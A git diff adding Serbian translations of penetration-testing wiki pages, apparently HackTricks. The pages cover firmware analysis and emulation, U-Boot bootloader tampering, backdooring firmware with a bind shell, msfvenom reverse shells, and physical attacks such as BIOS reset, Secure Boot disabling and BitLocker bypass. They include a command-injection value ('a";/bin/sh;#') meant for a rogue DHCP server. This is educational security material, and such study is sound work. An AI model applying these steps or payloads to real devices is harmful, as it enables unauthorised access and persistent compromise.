Nakon toga, u zavisnosti od tipa fajl sistema (npr. squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno izvlačenje sadržaja.
|
||||||
|
|
||||||
|
### Analiza fajl sistema
|
||||||
|
|
||||||
|
Nakon izvlačenja fajl sistema, započinje se pretraga sigurnosnih propusta. Posebna pažnja se posvećuje nesigurnim mrežnim demonima, unapred definisanim akreditivima, API endpointima, funkcionalnostima servera za ažuriranje, nekompilovanom kodu, skriptama za pokretanje i kompilovanim binarnim fajlovima za offline analizu.
|
||||||
|
|
||||||
|
**Ključne lokacije** i **elementi** koje treba pregledati uključuju:
|
||||||
|
|
||||||
|
* **etc/shadow** i **etc/passwd** za korisničke akreditive
|
||||||
|
* SSL sertifikate i ključeve u **etc/ssl**
|
||||||
|
* Konfiguracione i skript fajlove za potencijalne ranjivosti
|
||||||
|
* Ugrađene binarne fajlove za dalju analizu
|
||||||
|
* Uobičajene veb servere i binarne fajlove IoT uređaja
|
||||||
|
|
||||||
|
Nekoliko alata pomaže u otkrivanju osetljivih informacija i ranjivosti u fajl sistemu:
|
||||||
|
|
||||||
|
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) i [**Firmwalker**](https://github.com/craigz28/firmwalker) za pretragu osetljivih informacija
|
||||||
|
* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) za sveobuhvatnu analizu firmware-a
|
||||||
|
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) i [**EMBA**](https://github.com/e-m-b-a/emba) za statičku i dinamičku analizu
|
||||||
|
|
||||||
|
### Provere sigurnosti na kompilovanim binarnim fajlovima
|
||||||
|
|
||||||
|
Izvorni kod i kompilovani binarni fajlovi pronađeni u fajl sistemu moraju biti pažljivo pregledani radi otkrivanja ranjivosti. Alati poput **checksec.sh** za Unix binarne fajlove i **PESecurity** za Windows binarne fajlove pomažu u identifikaciji nezaštićenih binarnih fajlova koji mogu biti iskorišćeni.
|
||||||
|
|
||||||
|
## Emulacija firmware-a za dinamičku analizu
|
||||||
|
|
||||||
|
Proces emulacije firmware-a omogućava **dinamičku analizu** ili rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na izazove sa hardverom ili zavisnostima od arhitekture, ali prenos fajl sistema korenskog direktorijuma ili određenih binarnih fajlova na uređaj sa odgovarajućom arhitekturom i endianess-om, poput Raspberry Pi-a, ili na prethodno izgrađenu virtuelnu mašinu, može olakšati dalje testiranje.
|
||||||
|
|
||||||
|
### Emulacija pojedinačnih binarnih fajlova
|
||||||
|
|
||||||
|
Za ispitivanje pojedinačnih programa, ključno je identifikovati endianess i arhitekturu programa.
|
||||||
|
|
||||||
|
#### Primer sa MIPS arhitekturom
|
||||||
|
|
||||||
|
Za emulaciju binarnog fajla sa MIPS arhitekturom, može se koristiti komanda:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
file ./squashfs-root/bin/busybox
|
||||||
|
```
|
||||||
|
|
||||||
|
I da biste instalirali potrebne alate za emulaciju:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||||
|
```
|
||||||
|
|
||||||
|
Za MIPS (big-endian), koristi se `qemu-mips`, a za little-endian binarne datoteke, izbor bi bio `qemu-mipsel`.
|
||||||
|
|
||||||
|
#### Emulacija ARM arhitekture
|
||||||
|
|
||||||
|
Za ARM binarne datoteke, proces je sličan, pri čemu se koristi emulator `qemu-arm` za emulaciju.
|
||||||
|
|
||||||
|
### Emulacija celog sistema
|
||||||
|
|
||||||
|
Alati poput [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) i drugi olakšavaju potpunu emulaciju firmware-a, automatizujući proces i pomažući u dinamičkoj analizi.
|
||||||
|
|
||||||
|
## Praktična analiza u pokretu
|
||||||
|
|
||||||
|
U ovoj fazi koristi se stvarno ili emulirano okruženje uređaja za analizu. Važno je održavati pristup ljusci operativnog sistema i fajl sistemu. Emulacija možda neće savršeno oponašati interakcije sa hardverom, pa će povremeno biti potrebno ponovno pokretanje emulacije. Analiza treba ponovo pregledati fajl sistem, iskoristiti izložene web stranice i mrežne servise, istražiti ranjivosti bootloader-a. Testiranje integriteta firmware-a je ključno za identifikaciju potencijalnih ranjivosti zadnjih vrata.
|
||||||
|
|
||||||
|
## Tehnike analize u toku izvršavanja
|
||||||
|
|
||||||
|
Analiza u toku izvršavanja uključuje interakciju sa procesom ili binarnom datotekom u njenom operativnom okruženju, koristeći alate poput gdb-multiarch, Frida i Ghidra za postavljanje prekida i identifikaciju ranjivosti putem fuzzinga i drugih tehnika.
|
||||||
|
|
||||||
|
## Eksploatacija binarnih datoteka i dokaz koncepta
|
||||||
|
|
||||||
|
Razvoj dokaza koncepta za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje u jezicima nižeg nivoa. Zaštite binarnih datoteka u ugrađenim sistemima su retke, ali kada su prisutne, mogu biti neophodne tehnike poput Return Oriented Programming (ROP).
|
||||||
|
|
||||||
|
## Pripremljeni operativni sistemi za analizu firmware-a
|
||||||
|
|
||||||
|
Operativni sistemi poput [AttifyOS](https://github.com/adi0x90/attifyos) i [EmbedOS](https://github.com/scriptingxss/EmbedOS) pružaju prekonfigurirana okruženja za testiranje sigurnosti firmware-a, opremljena neophodnim alatima.
|
||||||
|
|
||||||
|
## Pripremljeni operativni sistemi za analizu firmware-a
|
||||||
|
|
||||||
|
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS je distribucija namenjena pomoći pri oceni sigurnosti i testiranju prodiranja uređaja Internet of Things (IoT). Uštedeće vam puno vremena pružajući prekonfigurirano okruženje sa svim neophodnim alatima.
|
||||||
|
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Operativni sistem za testiranje sigurnosti ugrađenih sistema zasnovan na Ubuntu 18.04 sa prethodno učitanim alatima za testiranje sigurnosti firmware-a.
|
||||||
|
|
||||||
|
## Ranjivi firmware-i za vežbanje
|
||||||
|
|
||||||
|
Za vežbanje otkrivanja ranjivosti u firmware-u, koristite sledeće projekte ranjivih firmware-a kao polaznu tačku.
|
||||||
|
|
||||||
|
* OWASP IoTGoat
|
||||||
|
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||||
|
* The Damn Vulnerable Router Firmware Project
|
||||||
|
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||||
|
* Damn Vulnerable ARM Router (DVAR)
|
||||||
|
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||||
|
* ARM-X
|
||||||
|
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||||
|
* Azeria Labs VM 2.0
|
||||||
|
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||||
|
* Damn Vulnerable IoT Device (DVID)
|
||||||
|
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||||
|
|
||||||
|
## Obuka i sertifikacija
|
||||||
|
|
||||||
|
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,71 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
Preporučeni koraci za modifikaciju konfiguracija pokretanja uređaja i bootloadera poput U-boot-a:
|
||||||
|
|
||||||
|
1. **Pristupanje interpretativnom okruženju bootloadera**:
|
||||||
|
- Tokom pokretanja, pritisnite "0", razmak ili druge identifikovane "magične kodove" kako biste pristupili interpretativnom okruženju bootloadera.
|
||||||
|
|
||||||
|
2. **Modifikacija pokretačkih argumenata**:
|
||||||
|
- Izvršite sledeće komande da biste dodali '`init=/bin/sh`' na pokretačke argumente, omogućavajući izvršavanje shell komande:
|
||||||
|
%%%
|
||||||
|
#printenv
|
||||||
|
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||||
|
#saveenv
|
||||||
|
#boot
|
||||||
|
%%%
|
||||||
|
|
||||||
|
3. **Podešavanje TFTP servera**:
|
||||||
|
- Konfigurišite TFTP server za učitavanje slika preko lokalne mreže:
|
||||||
|
%%%
|
||||||
|
#setenv ipaddr 192.168.2.2 #lokalna IP adresa uređaja
|
||||||
|
#setenv serverip 192.168.2.1 #IP adresa TFTP servera
|
||||||
|
#saveenv
|
||||||
|
#reset
|
||||||
|
#ping 192.168.2.1 #provera pristupa mreži
|
||||||
|
#tftp ${loadaddr} uImage-3.6.35 #loadaddr uzima adresu za učitavanje datoteke i ime datoteke slike na TFTP serveru
|
||||||
|
%%%
|
||||||
|
|
||||||
|
4. **Korišćenje `ubootwrite.py`**:
|
||||||
|
- Koristite `ubootwrite.py` da biste napisali U-boot sliku i poslali modifikovani firmware kako biste dobili root pristup.
|
||||||
|
|
||||||
|
5. **Provera debug funkcionalnosti**:
|
||||||
|
- Proverite da li su omogućene debug funkcionalnosti poput detaljnog beleženja, učitavanja proizvoljnih jezgara ili pokretanja sa nepouzdanih izvora.
|
||||||
|
|
||||||
|
6. **Oprez pri fizičkom mešanju sa hardverom**:
|
||||||
|
- Budite oprezni prilikom povezivanja jednog pina sa zemljom i interakcije sa SPI ili NAND flash čipovima tokom sekvence pokretanja uređaja, posebno pre dekompresije jezgra. Konsultujte tehnički list NAND flash čipa pre kratkog spoja pinova.
|
||||||
|
|
||||||
|
7. **Konfiguracija lažnog DHCP servera**:
|
||||||
|
- Postavite lažni DHCP server sa zlonamernim parametrima koje uređaj treba da prihvati tokom PXE pokretanja. Koristite alate poput Metasploit-ovog (MSF) DHCP pomoćnog servera. Modifikujte parametar 'FILENAME' sa komandama za ubrizgavanje komandi kao što su `'a";/bin/sh;#'` da biste testirali validaciju unosa za postupke pokretanja uređaja.
|
||||||
|
|
||||||
|
**Napomena**: Koraci koji uključuju fizičku interakciju sa pinovima uređaja (*označeni zvezdicom) treba da se pristupe sa izuzetnom pažnjom kako bi se izbegla oštećenja uređaja.
|
||||||
|
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,58 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Integritet firmware-a
|
||||||
|
|
||||||
|
**Prilagođeni firmware i/ili kompajlirane binarne datoteke mogu biti otpremljene kako bi se iskoristile slabosti u integritetu ili proveri potpisa**. Sledeći koraci mogu biti praćeni za kompilaciju backdoor bind shell-a:
|
||||||
|
|
||||||
|
1. Firmware se može izvući pomoću firmware-mod-kit (FMK).
|
||||||
|
2. Treba identifikovati arhitekturu ciljnog firmware-a i endianness.
|
||||||
|
3. Može se izgraditi prelazni kompajler koristeći Buildroot ili druge odgovarajuće metode za okruženje.
|
||||||
|
4. Backdoor se može izgraditi koristeći prelazni kompajler.
|
||||||
|
5. Backdoor se može kopirati u izvučeni firmware /usr/bin direktorijum.
|
||||||
|
6. Odgovarajući QEMU binarni fajl se može kopirati u izvučeni firmware rootfs.
|
||||||
|
7. Backdoor se može emulirati koristeći chroot i QEMU.
|
||||||
|
8. Backdoor se može pristupiti putem netcat-a.
|
||||||
|
9. QEMU binarni fajl treba ukloniti iz izvučenog firmware rootfs-a.
|
||||||
|
10. Modifikovani firmware se može ponovo zapakovati koristeći FMK.
|
||||||
|
11. Backdoored firmware se može testirati emuliranjem sa alatom za analizu firmware-a (FAT) i povezivanjem sa ciljnom IP adresom i portom backdoor-a koristeći netcat.
|
||||||
|
|
||||||
|
Ako je već dobijena root shell putem dinamičke analize, manipulacije bootloader-a ili testiranja hardverske sigurnosti, mogu se izvršiti prekompajlirane zlonamerne binarne datoteke kao što su implantati ili reverse shell-ovi. Automatizovani alati za payload/implantate poput Metasploit framework-a i 'msfvenom' mogu se iskoristiti sledećim koracima:
|
||||||
|
|
||||||
|
1. Treba identifikovati arhitekturu ciljnog firmware-a i endianness.
|
||||||
|
2. Msfvenom se može koristiti za specificiranje ciljnog payload-a, IP adrese napadača, broja slušanja porta, tipa fajla, arhitekture, platforme i izlaznog fajla.
|
||||||
|
3. Payload se može preneti na kompromitovani uređaj i osigurati da ima dozvole za izvršavanje.
|
||||||
|
4. Metasploit se može pripremiti za obradu dolaznih zahteva pokretanjem msfconsole-a i konfigurisanjem podešavanja prema payload-u.
|
||||||
|
5. Meterpreter reverse shell se može izvršiti na kompromitovanom uređaju.
|
||||||
|
6. Meterpreter sesije se mogu pratiti kako se otvaraju.
|
||||||
|
7. Mogu se izvršiti post-exploitation aktivnosti.
|
||||||
|
|
||||||
|
Ako je moguće, slabosti unutar startup skripti mogu se iskoristiti kako bi se dobio trajni pristup uređaju tokom ponovnog pokretanja. Ove slabosti se javljaju kada startup skripte referenciraju, [simbolički linkuju](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) ili zavise od koda koji se nalazi na nepouzdanim montiranim lokacijama poput SD kartica i fleš volumena koji se koriste za skladištenje podataka van root fajl sistema.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
* Za dodatne informacije pogledajte [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
81
hardware-physical-access/physical-attacks.md
Normal file
81
hardware-physical-access/physical-attacks.md
Normal file
|
@ -0,0 +1,81 @@
|
||||||
|
# Fizički napadi
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Obnova BIOS lozinke i sistemsko obezbeđenje
|
||||||
|
|
||||||
|
**Resetovanje BIOS-a** može se postići na nekoliko načina. Većina matičnih ploča uključuje **bateriju** koja, kada se ukloni oko **30 minuta**, će resetovati BIOS podešavanja, uključujući i lozinku. Alternativno, **jumper na matičnoj ploči** može se podesiti da resetuje ova podešavanja povezivanjem određenih pinova.
|
||||||
|
|
||||||
|
U situacijama kada hardverske izmene nisu moguće ili praktične, **softverski alati** nude rešenje. Pokretanje sistema sa **Live CD/USB** distribucijama kao što je **Kali Linux** omogućava pristup alatima poput **_killCmos_** i **_CmosPWD_**, koji mogu pomoći u obnovi BIOS lozinke.
|
||||||
|
|
||||||
|
U slučajevima kada je BIOS lozinka nepoznata, unošenje lozinke netačno **tri puta** obično rezultira greškom. Ovaj kod se može koristiti na veb sajtovima poput [https://bios-pw.org](https://bios-pw.org) kako bi se potencijalno dobio upotrebljiva lozinka.
|
||||||
|
|
||||||
|
### UEFI bezbednost
|
||||||
|
|
||||||
|
Za moderne sisteme koji koriste **UEFI** umesto tradicionalnog BIOS-a, alat **chipsec** se može koristiti za analizu i modifikaciju UEFI podešavanja, uključujući onemogućavanje **Secure Boot**-a. To se može postići sledećom komandom:
|
||||||
|
|
||||||
|
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||||
|
|
||||||
|
### Analiza RAM-a i napadi sa hladnim startom
|
||||||
|
|
||||||
|
RAM zadržava podatke kratko vreme nakon isključivanja napajanja, obično **1 do 2 minuta**. Ova postojanost se može produžiti na **10 minuta** primenom hladnih supstanci, poput tečnog azota. Tokom ovog produženog perioda, može se napraviti **damp memorije** korišćenjem alata poput **dd.exe** i **volatility** za analizu.
|
||||||
|
|
||||||
|
### Napadi sa direktnim pristupom memoriji (DMA)
|
||||||
|
|
||||||
|
**INCEPTION** je alat dizajniran za **fizičku manipulaciju memorijom** putem DMA, kompatibilan sa interfejsima poput **FireWire**-a i **Thunderbolt**-a. Omogućava zaobilaženje postupka prijavljivanja tako što menja memoriju da prihvati bilo koju lozinku. Međutim, neefikasan je protiv sistema sa **Windows 10**.
|
||||||
|
|
||||||
|
### Live CD/USB za pristup sistemu
|
||||||
|
|
||||||
|
Promena sistemskih binarnih fajlova poput **_sethc.exe_** ili **_Utilman.exe_** sa kopijom **_cmd.exe_** može obezbediti komandnu liniju sa sistemskim privilegijama. Alati poput **chntpw** mogu se koristiti za uređivanje **SAM** fajla Windows instalacije, što omogućava promenu lozinki.
|
||||||
|
|
||||||
|
**Kon-Boot** je alat koji olakšava prijavljivanje na Windows sisteme bez poznavanja lozinke privremeno modifikujući Windows kernel ili UEFI. Više informacija možete pronaći na [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||||
|
|
||||||
|
### Rad sa Windows bezbednosnim funkcijama
|
||||||
|
|
||||||
|
#### Prečice za pokretanje i oporavak
|
||||||
|
|
||||||
|
- **Supr**: Pristup BIOS podešavanjima.
|
||||||
|
- **F8**: Ulazak u režim oporavka.
|
||||||
|
- Pritisak na **Shift** nakon Windows banera može zaobići automatsko prijavljivanje.
|
||||||
|
|
||||||
|
#### Loši USB uređaji (BAD USB)
|
||||||
|
|
||||||
|
Uređaji poput **Rubber Ducky**-ja i **Teensyduino**-a služe kao platforme za kreiranje **loših USB** uređaja, sposobnih za izvršavanje unapred definisanih payload-a kada su povezani sa ciljnim računarom.
|
||||||
|
|
||||||
|
#### Kopiranje senzitivnih fajlova pomoću Volume Shadow Copy
|
||||||
|
|
||||||
|
Administrator privilegije omogućavaju kreiranje kopija osetljivih fajlova, uključujući **SAM** fajl, putem PowerShell-a.
|
||||||
|
|
||||||
|
### Zaobilaženje BitLocker enkripcije
|
||||||
|
|
||||||
|
BitLocker enkripcija može potencijalno biti zaobiđena ako se **recovery password** pronađe unutar fajla sa dump-om memorije (**MEMORY.DMP**). Alati poput **Elcomsoft Forensic Disk Decryptor**-a ili **Passware Kit Forensic**-a mogu se koristiti u tu svrhu.
|
||||||
|
|
||||||
|
### Društveno inženjering za dodavanje ključa za oporavak
|
||||||
|
|
||||||
|
Novi BitLocker ključ za oporavak može se dodati putem taktika društvenog inženjeringa, ubedljivanjem korisnika da izvrši komandu koja dodaje novi ključ za oporavak sastavljen od nula, čime se pojednostavljuje proces dešifrovanja.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
|
@ -0,0 +1,359 @@
|
||||||
|
# Zaobilazak Linux ograničenja
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
